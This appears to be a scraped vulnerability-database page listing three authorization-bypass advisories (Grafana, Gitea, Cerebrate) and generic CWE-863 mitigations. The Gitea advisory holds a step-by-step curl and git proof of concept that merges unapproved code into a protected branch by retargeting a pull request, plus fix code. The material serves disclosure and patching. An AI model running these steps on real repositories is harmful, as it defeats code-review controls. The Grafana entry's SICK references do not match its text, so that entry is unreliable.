Vulnerability from github – Published: 2026-01-15 15:31 – Updated: 2026-01-15 15:31A security vulnerability in the /apis/dashboard.grafana.app/* endpoints allows authenticated users to bypass dashboard and folder permissions. The vulnerability affects all API versions (v0alpha1, v1alpha1, v2alpha1). Impact: - Viewers can view all dashboards/folders regardless of permissions - Editors can view/edit/delete all dashboards/folders regardless of permissions - Editors can create dashboards in any folder regardless of permissions - Anonymous users with viewer/editor roles are similarly affected Organization isolation boundaries remain intact. The vulnerability only affects dashboard access and does not grant access to datasources.
{
"affected": [],
"aliases": [
"CVE-2026-0713"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-15T13:16:04Z",
"severity": "HIGH"
},
"details": "A security vulnerability in the /apis/dashboard.grafana.app/* endpoints allows authenticated users to bypass dashboard and folder permissions. The vulnerability affects all API versions (v0alpha1, v1alpha1, v2alpha1). Impact: - Viewers can view all dashboards/folders regardless of permissions - Editors can view/edit/delete all dashboards/folders regardless of permissions - Editors can create dashboards in any folder regardless of permissions - Anonymous users with viewer/editor roles are similarly affected Organization isolation boundaries remain intact. The vulnerability only affects dashboard access and does not grant access to datasources.",
"id": "GHSA-w5j6-7wpf-g6rw",
"modified": "2026-01-15T15:31:16Z",
"published": "2026-01-15T15:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0713"
},
{
"type": "WEB",
"url": "https://sick.com/psirt"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/resources-tools/resources/ics-recommended-practices"
},
{
"type": "WEB",
"url": "https://www.first.org/cvss/calculator/3.1"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0002.json"
},
{
"type": "WEB",
"url": "https://www.sick.com/.well-known/csaf/white/2026/sca-2026-0002.pdf"
},
{
"type": "WEB",
"url": "https://www.sick.com/media/docs/9/19/719/special_information_sick_operating_guidelines_cybersecurity_by_sick_en_im0106719.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W5PG-649R-P6GG
Vulnerability from github – Published: 2026-07-21 20:14 – Updated: 2026-07-21 20:15Summary
Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.
- Confirmed on Gitea 1.25.4 (
1.25.4+41-g96515c0f20)
Vulnerability Details
Root Cause
When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.
When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:
- Updates pr.BaseBranch
- Recalculates merge feasibility and divergence
- Deletes old push comments
- Creates a "change target branch" comment
But it does not:
- Re-evaluate official on existing reviews
- Dismiss existing approvals
- Check whether reviewers are in the new target branch's approval whitelist
At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.
Relevant Code Paths
- Review creation —
services/pull/review.go:SubmitReviewcallsIsOfficialRevieweragainst the currentpr.BaseBranch's protection rules, storesofficial=true/false - Target branch change —
services/pull/pull.go:ChangeTargetBranchmodifiespr.BaseBranchbut does not touch existing reviews - Merge check —
services/pull/check.go:CheckPullMergeable→models/issues/pull.go:GetGrantedApprovalsCountcounts storedofficial=truereviews without re-evaluating against the new branch's whitelist
Prerequisites
The attacker needs: - Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin) - The ability to create pull requests (standard for any user with push access) - A second account (or any non-admin account) to submit the approval on the unprotected branch
The attacker does not need: - Admin access - To be in the approval whitelist for the protected branch - Any interaction from the branch protection's designated approvers
Proof of Concept
Setup
Repository owner/repo with branch master protected:
- Required approvals: 1
- Approval whitelist enabled, containing only user admin-reviewer
- User attacker has write access but is not in the approval whitelist
Steps
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{
"head": "malicious-branch",
"base": "tmp-unprotected",
"title": "Add feature"
}'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master
Observed API Responses
Step 4 — Approval on unprotected branch:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}
Step 6 — Same approval after retarget to protected master:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}
The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.
Impact
- Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
- Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements
Suggested Fix
Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
IssueID: pr.IssueID,
Type: issues_model.ReviewTypeApprove,
})
if err != nil {
return err
}
newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
return err
}
for _, review := range reviews {
wasOfficial := review.Official
if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
} else {
review.Official = false
}
if wasOfficial != review.Official {
if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
return err
}
}
}
Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
IssueID: pr.IssueID,
Message: "Dismissed: PR target branch changed",
}); err != nil {
return err
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58439"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:14:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nGitea does not re-evaluate the `official` flag on existing pull request reviews when a PR\u0027s target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch\u0027s required approvals, allowing the attacker to merge without legitimate maintainer approval.\n\n- Confirmed on Gitea **1.25.4** (`1.25.4+41-g96515c0f20`)\n\n## Vulnerability Details\n\n### Root Cause\n\nWhen a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the **target branch\u0027s** approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record.\n\nWhen a PR\u0027s target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function:\n- Updates `pr.BaseBranch`\n- Recalculates merge feasibility and divergence\n- Deletes old push comments\n- Creates a \"change target branch\" comment\n\nBut it does **not**:\n- Re-evaluate `official` on existing reviews\n- Dismiss existing approvals\n- Check whether reviewers are in the new target branch\u0027s approval whitelist\n\nAt merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean \u2014 it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch\u0027s approval requirement.\n\n### Relevant Code Paths\n\n1. **Review creation** \u2014 `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`\u0027s protection rules, stores `official=true/false`\n2. **Target branch change** \u2014 `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews\n3. **Merge check** \u2014 `services/pull/check.go:CheckPullMergeable` \u2192 `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch\u0027s whitelist\n\n### Prerequisites\n\nThe attacker needs:\n- **Write (push) access** to the repository (collaborator with write role, or the ability to create branches \u2014 not admin)\n- The ability to create pull requests (standard for any user with push access)\n- A second account (or any non-admin account) to submit the approval on the unprotected branch\n\nThe attacker does **not** need:\n- Admin access\n- To be in the approval whitelist for the protected branch\n- Any interaction from the branch protection\u0027s designated approvers\n\n## Proof of Concept\n\n### Setup\n\nRepository `owner/repo` with branch `master` protected:\n- Required approvals: 1\n- Approval whitelist enabled, containing only user `admin-reviewer`\n- User `attacker` has write access but is **not** in the approval whitelist\n\n### Steps\n\n```bash\nBASE=\"http://gitea-instance:3000\"\nOWNER=\"owner\"\nREPO=\"repo\"\nATTACKER_AUTH=\"attacker:password\"\nACCOMPLICE_AUTH=\"accomplice:password\" # any non-whitelisted user\n\n# 1. Create an unprotected temporary branch from master\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/branches\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"new_branch_name\": \"tmp-unprotected\", \"old_branch_name\": \"master\"}\u0027\n\n# 2. Push a malicious commit to a feature branch\ngit checkout -b malicious-branch origin/master\necho \"malicious payload\" \u003e payload.txt\ngit add payload.txt\ngit commit -m \"innocent looking commit\"\ngit push origin malicious-branch\n\n# 3. Create PR targeting the UNPROTECTED branch\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"head\": \"malicious-branch\",\n \"base\": \"tmp-unprotected\",\n \"title\": \"Add feature\"\n }\u0027\n# Returns PR #N\n\n# 4. Approve the PR (official=true because tmp-unprotected has no protection)\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n -u \"$ACCOMPLICE_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"event\": \"APPROVED\", \"body\": \"LGTM\"}\u0027\n# Response includes: \"official\": true\n\n# 5. Retarget the PR to protected master\ncurl -X PATCH \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"base\": \"master\"}\u0027\n\n# 6. Verify: approval is still official=true against master\ncurl \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews\" \\\n -u \"$ATTACKER_AUTH\"\n# Response: \"official\": true, \"dismissed\": false, \"stale\": false\n\n# 7. Merge \u2014 succeeds despite no whitelisted approver reviewing\ncurl -X POST \"$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge\" \\\n -u \"$ATTACKER_AUTH\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"do\": \"merge\"}\u0027\n# Returns 200 OK \u2014 malicious commit is now on master\n```\n\n### Observed API Responses\n\n**Step 4** \u2014 Approval on unprotected branch:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\n**Step 6** \u2014 Same approval after retarget to protected master:\n```json\n{\"id\": 16, \"state\": \"APPROVED\", \"official\": true, \"dismissed\": false, \"stale\": false, \"user\": {\"login\": \"accomplice\"}}\n```\n\nThe `official` flag is unchanged. Under the protected branch\u0027s rules, this user\u0027s approval should be `official: false`.\n\n## Impact\n\n- **Branch protection bypass**: Protected branches with approval whitelists can be merged into without any whitelisted user approving\n- **Privilege escalation**: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements\n\n## Suggested Fix\n\nRe-evaluate the `official` flag on all existing reviews when a PR\u0027s target branch changes. In `services/pull/pull.go:ChangeTargetBranch`, after updating `pr.BaseBranch`:\n\n```go\n// After updating the base branch, re-evaluate official status on all reviews\nreviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{\n IssueID: pr.IssueID,\n Type: issues_model.ReviewTypeApprove,\n})\nif err != nil {\n return err\n}\n\nnewProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)\nif err != nil {\n return err\n}\n\nfor _, review := range reviews {\n wasOfficial := review.Official\n if newProtectBranch != nil \u0026\u0026 newProtectBranch.EnableApprovalsWhitelist {\n review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)\n } else {\n review.Official = false\n }\n if wasOfficial != review.Official {\n if _, err := db.GetEngine(ctx).ID(review.ID).Cols(\"official\").Update(review); err != nil {\n return err\n }\n }\n}\n```\n\nAlternatively, dismiss all existing approvals on retarget (simpler, more conservative):\n\n```go\n// Dismiss all approvals when target branch changes\nif _, err := issues_model.DismissReview(ctx, \u0026issues_model.DismissReviewOptions{\n IssueID: pr.IssueID,\n Message: \"Dismissed: PR target branch changed\",\n}); err != nil {\n return err\n}\n```",
"id": "GHSA-w5pg-649r-p6gg",
"modified": "2026-07-21T20:15:33Z",
"published": "2026-07-21T20:14:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38319"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38402"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/74ad781db9c37134ee9280c69a6b1de53801503e"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/8401fe7c544abff1ecc49d7f3166fd4ee0c174ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag"
}
GHSA-W5QC-7G9R-478J
Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2023-08-08 15:31An issue was discovered in Cerebrate through 1.4. An incorrect sharing group ACL allowed an unprivileged user to edit and modify sharing groups.
{
"affected": [],
"aliases": [
"CVE-2022-25318"
],
"database_specific": {
"cwe_ids": [
"CWE-668",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-18T06:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Cerebrate through 1.4. An incorrect sharing group ACL allowed an unprivileged user to edit and modify sharing groups.",
"id": "GHSA-w5qc-7g9r-478j",
"modified": "2023-08-08T15:31:44Z",
"published": "2022-02-19T00:01:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25318"
},
{
"type": "WEB",
"url": "https://github.com/cerebrate-project/cerebrate/commit/15190b930ebada9e8d294db57c96832799d9d93e"
},
{
"type": "WEB",
"url": "https://zigrin.com/advisories/cerebrate-an-incorrect-sharing-group-acl"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.